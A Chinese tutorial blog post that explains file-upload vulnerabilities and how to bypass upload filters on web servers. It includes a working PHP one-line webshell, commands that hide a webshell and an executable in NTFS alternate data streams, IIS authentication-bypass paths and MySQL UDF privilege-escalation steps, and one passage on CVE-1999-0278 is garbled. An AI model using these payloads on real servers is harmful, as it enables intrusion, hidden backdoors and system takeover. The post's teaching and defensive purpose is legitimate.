文件上传(五)--绕过

什么是文件上传漏洞

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

什么是webshell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录

产生文件上传漏洞的原因

  • 对于上传文件的后缀名(扩展名)没有做较为严格的限制
  • 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
  • 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
  • 对于web server对于上传文件或者指定目录的行为没有做限制

原理:
在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上
文件上传后导致的常见安全问题一般有:

  • 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;
  • 上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
  • 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行:
  • 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
    除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传-一个合法的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)"执行此脚本;等等。此类问题不在此细述。

文件上传漏洞的攻击与防御方式

1.客户端JS校验

1.原理
在表单中使用onsumbit=checkFile()调用js函数来检查上传文件的扩展名。当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。

2. 绕过方法
这种限制很简单,通过浏览器F12很简单的修改文件后缀名就可以完成绕过检查,或者是讲木马修改后缀名后上传,通过改包工具修改上传。如果是JS脚本检测,在本地浏览器客户端禁用JS即可。可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现绕过。

3.操作方法
准备一句话木马:

<?php
@eval($_POST['cmd']);
?>

并且修改后缀名为jpg,上传操作,通过burpsuit抓包改包,使其后缀名修改回php。

2.文件头content-type字段校验(image/gif)

例如

<?php
if($_FILES['userfile']['type'] != "image/gif")  #这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。

原理

HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改。

绕过方法
使用各种各样的工具(如burpsuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型。

3.文件内容头校验(GIF89a)

原理

利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。

绕过方法

给上传脚本加上相应的幻数头字节就可以,php引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行比如下面:
(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)

4.后缀黑白名单

就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传,在检查扩展名是否合法的时候,有两种策略:
1.黑名单策略
文件扩展名在黑名单中的为不合法
2.白名单策略
文件扩展名不在白名单中的均为不合法
3.原理
当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。

5.%00截断

原理

在上传的时候,当文件系统读到0x00时,会认为文件已经结束。
利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00、%00上传截断漏洞。
绕过方法

通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。

6. windows NTFS文件系统特性绕过

漏洞详细可查CVE-1999-0278。
当我们对一个在NTFS分区中的ASP文件发出包含DATA 请 求 , I I S 会 检 查 最 后 一 个 “ . ” 后 面 的 扩 展 名 , ,因为多了::DATA请求,IIS会检查最后一个“.”后面的扩展名,因为多了::DATA,结果IIS不认为这是一个ASP文件,而文件系统可以识别该请求,于是返回ASP的源代码。

绕过方法

  1. IIS目录访问权限绕过:在IIS6.0+PHP、IIS7+asp、IIS7.5+php的环境下,如果目录是通过HTTP Basic来认证,假设网站根目录存在index.php文件,可通过构造如下方式来绕过认证直接访问目录下的文件。
/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp
  1. 上传绕过黑名单:在测试中我们发现如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
上传的文件名服务器表面现象生成的文件内容
Test.php:a.jpg生成Test.php
Test.php::$DATA生成test.php<?php phpinfo();?>
Test.php::$INDEX_ALLOCATION生成test.php文件夹
Test.php::$DATA\0.jpg生成0.jpg<?php phpinfo();?>
Test.php::$DATA\aaa.jpg生成aaa.jpg<?php phpinfo();?>

注意:
对于windows环境的服务器,上传test.php:.jpg类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为1.asp而将.jpg识别为流名。
通过notepad test.php:.jpg可以查看内容,所以test.php内容为空是正常的。
然后修改上传的文件名为test.>>>或者test.<、test.<<<、test.>><再上传,会重写test.php。

  1. 隐藏webshell:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg,这样生成了一个不可见的shell hidden.jpg,type dir del命令都不行。利用文件包含<?php include('shell.php:hidden.jpg')?>就是一句话。
  2. mysql中的udf提权:

如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.0.67之前,DLL的导入目录是C:\windows\system32
从MySQL 5.1开始,要求目录必须是mysql目录下的lib\plugin\目录,而且mysql 5.1之后的常用安装版本是默认不存在lib\plugin目录的。

执行sql语句

show variables like '%plugin%';

查看目录位置。
利用ADS依次创建lib、plugin目录

select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

看看secure_file_priv的值:
如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

  • null表示限制mysqld不允许导入导出
  • 当secure_file_priv的值为/tmp/,表示限制mysqld 的导入导出只能在/tmp/目录下
  • 当secure_file_priv的值为空,表示不对mysqld的导入导出做限制
  1. 隐藏exe文件
type muma.txt test.txt:muma.exe

在xp中可以用start test.txt:muma.exe执行,但是win7以上这样执行会报错。win7及之后的系统的正确姿势如下:
创建一个符号链接文件test.exe,链接到寄生的交换数据流可执行文件test.txt:muma.exe上:mklink test.exe,test.txt:muma.exe,然后执行start test.exe /b即可
更新一个方法:

wmic process call create "C:\ProjectCode\test\test:putty.exe"

在WinXP中,可执行文件可以和文本文件一样实现真正的隐藏,这可能也是当时大多数杀毒软件添加数据流病毒查杀功能的原因;在Win7之后的系统中,微软可能出于安全考虑,不允许直接运行交换数据流可执行文件,必须要创建符号链接,这个符号链接是可见的(当然可以使用其他手段隐藏这个符号链接),并且这个符号链接创建出来后不能复制到其他地方,只能在创建的那个位置使用命令行方式调用(鼠标双击会报错)。

查看隐藏流文件

使用这两款小工具配合进行检测和清除寄生的交换数据流
https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
labs.exe检测,streams.exe进行清理。
还有一个叫做AlternateStreamView的工具也可以

7.二次渲染绕过

参考下大佬的文章
二次渲染绕过
原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

绕过:
1、配合文件包含漏洞:
  将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
2、可以配合条件竞争:
  这里二次渲染的逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传
如何判断图片是否进行了二次处理?
对比要上传图片与上传后的图片大小,使用16进制编辑器打开图片查看上传后保留了哪些数据,查看那些数据被改变。


8.条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
如下

#-*-coding:utf-8-*-
import threading
COUNT = 0

def Run(threads_name):
    global COUNT
    read_value = COUNT
    print "COUNT in Thread-%s is %d" % (str(threads_name), read_value)
    COUNT = read_value + 1

def main():
    threads = []
    for j in range(10):
        t = threading.Thread(target=Run,args=(j,))
        threads.append(t)
        t.start()
    for i in range(len(threads)):
        threads[i].join()
    print ("Finally, The COUNT is %d" % (COUNT,))

if __name__ == '__main__':
    main()

按照我们的预想,结果应该都是10,但是发现结果可能存在非预期解,并且出现非预期的概率还挺大的。

这是什么原因呢?

原因就在于我们没有对变量COUNT做同步制约,导致可能Thread-7在读COUNT,还没来得及更改COUNT,Thread-8抢夺资源,也来读COUNT,并且将COUNT修改为它读的结果+1,由此出现非预期。

同样的,WEB应用程序因为要为很多用户服务,势必要采用多线程,但是,如果种种原因导致线程间的同步机制没处理好,那么也就会导致非预期和条件竞争的漏洞。
例子:金额提现

假设现有一个用户在系统中共有2000元可以提现,他想全部提现。于是该用户同时发起两次提现请求,第一次提交请求提现2000元,系统已经创建了提现订单但还未来得及修改该用户剩余金额,此时第二次提现请求同样是提现2000元,于是程序在还未修改完上一次请求后的余额前就进行了余额判断,显然如果这里余额判断速度快于上一次余额修改速度,将会产生成功提现的两次订单,而数据库中余额也将变为-2000。而这产生的后果将会是平台多向该用户付出2000元


原文连接:https://blog.csdn.net/pggril/article/details/123024182

相关推荐

小程序如何使用订阅消息(PHP代码+小程序js代码)

开源源码商城系统盘点

html网页如何获取后台数据库的数据(html + ajax + php + mysql)

2022鹏城杯web

全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析

使用强大的DBPack处理分布式事务(PHP使用教程)

[MRCTF2020]Ezpop-1|php序列化

12个MySQL慢查询的原因分析

OpenSea PHP开发包

php图片加水印函数

vscode按住ctrl+鼠标左键无法跟踪跳转方法名【带vscode编辑PHP的配置教程】

如何使用 PHP 实现网页交互

php7.2安装OCI8扩展支持oracle数据库

唯一邀请码生成策略

docker安装RabbitMQ

PHP跌出前十,Python依然霸占榜首,C#有望摘得年度编程语言 TIOBE 12 月编程语言排行榜

高考后能学习——阿里云-winserver服务器购买以及使用(包含【.Net】、【PHP】、【MySQL】、【Navicat】、【Java】、安装)

【历史上的今天】6 月 8 日:万维网之父诞生;PHP 公开发布;iPhone 4 问世

✨✨PHP开发者福音,支持CRUD代码生成且前后分离的tp6+Vue3后台管理系统开源啦!

PHP编码规范